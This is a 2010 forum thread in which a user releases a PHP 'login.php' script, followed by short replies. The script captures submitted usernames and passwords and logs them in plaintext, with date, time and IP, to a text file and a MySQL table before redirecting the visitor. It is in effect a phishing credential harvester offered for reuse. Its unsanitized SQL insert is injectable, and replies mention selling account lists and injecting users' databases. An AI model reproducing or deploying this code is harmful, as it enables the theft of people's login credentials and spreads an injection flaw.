Got bored today and made this in about an hour. Hope everyone likes it! You can modify it however you like. if you need help on how to use it just PM me and ill respond as soon as i get it. Source is below.
To change the settings, simply change the value of the variables in $Settings at the beginning. For Example, to disable it saving the info in a text file, change the line 'SaveTypeText' => True, to 'SaveTypeText' => False,
And so on, understand? mk good.
login.php
Keep it logical!Code:<?php /* **************************************************************************** ************************************** ** Script By Sk8er ** Email: matt.joseph.smith@gmail.com ** Have any questions or concerns? ** Join the forum below and post in the thread in the programming section. ** ** http://www.logicalgamers.com/ ************************************** **************************************************************************** */ $Settings = array( 'User' => "", 'Pass' => "", 'ReturnUrl' => "http://localhost/login.php%20script/", 'SaveTypeText' => True, 'TextFileDir' => "./passwords/passes.txt", 'SaveTypeSql' => True, 'SqlHost' => "localhost", 'SqlDatabase' => "loginTest", 'SqlTabl' => "Passes", 'SqlUser' => "root", 'SqlPass' => "", ); if($_POST['User'] != null || $_POST['User'] != "") { $Settings['User'] = $_POST['User']; } if($_POST['Pass'] != null || $_POST['Pass'] != "") { $Settings['Pass'] = $_POST['Pass']; } if($Settings['User'] != "" && $Settings['Pass'] != "") { $ip = $_SERVER['REMOTE_ADDR']; $date = date("l") . " " . date("F") . " " . date("d") . "," . date("Y"); $time = date("H:i"); if($Settings['SaveTypeText']){ $newline = "\r\n\n"; $StartLine = "--------Start--------"; $EndLine = "---------End---------"; $all = $newline . $StartLine . $newline . "Username: " . $Settings['User'] . $newline . "Password: " . $Settings['Pass'] . $newline . "Date: " . $date . $newline . "Time: " . $time . $newline . "IP: " . $ip . $newline . $EndLine . $newline; $handle = fopen($TextFileDir, "a"); fwrite($handle, $all); fclose($handle); } if($Settings['SaveTypeSql']) { $Sql = mysql_connect($Settings['SqlHost'], $Settings['SqlUser'], $Settings['SqlPass']); if($Sql) mysql_select_db($Settings['SqlDatabase'],$Sql); $query = "INSERT INTO `".$Settings['Tabl']."` (`User` ,`Pass` ,`Date` ,`Time` ,`IP`)VALUES ('".$Settings['User']."', '".$Settings['Pass']."', '".$date . " - " . $time ."', '".time()."', '".$ip."');"; mysql_query($query); } header ('Location: '.$Settings['ReturnUrl'].' '); } ?>
Results 1 to 10 of 10
- 16 Jan. 2010 08:00pm #1
[RELEASE]Advanced Login.php Script (Does txt And Mysql!)
- 18 Jan. 2010 06:45am #2
Utilizing MySQL with this sounds like a bunch of fun.
Selling SQL account lists, the next generation of scamming.
- 18 Jan. 2010 06:48am #3
You have to remember to sanitize user input. Don't need to remind you how dangerous it can be.
- 18 Jan. 2010 06:52am #4
Error: Title Not Found
- Age
- 29
- Join Date
- Dec. 2009
- Location
- Hell
- Posts
- 2,248
- Reputation
- 248
- LCash
- 100.00
- 18 Jan. 2010 07:19am #5
- 05 Mar. 2010 02:20am #6
- 05 Mar. 2010 02:24am #7
- 05 Mar. 2010 01:07pm #8
If anyone is using this, let me know, so I can SQL inject your shit.
- 06 Mar. 2010 03:04am #9
- 31 Mar. 2010 09:40am #10
Thanks for the share. needed an example.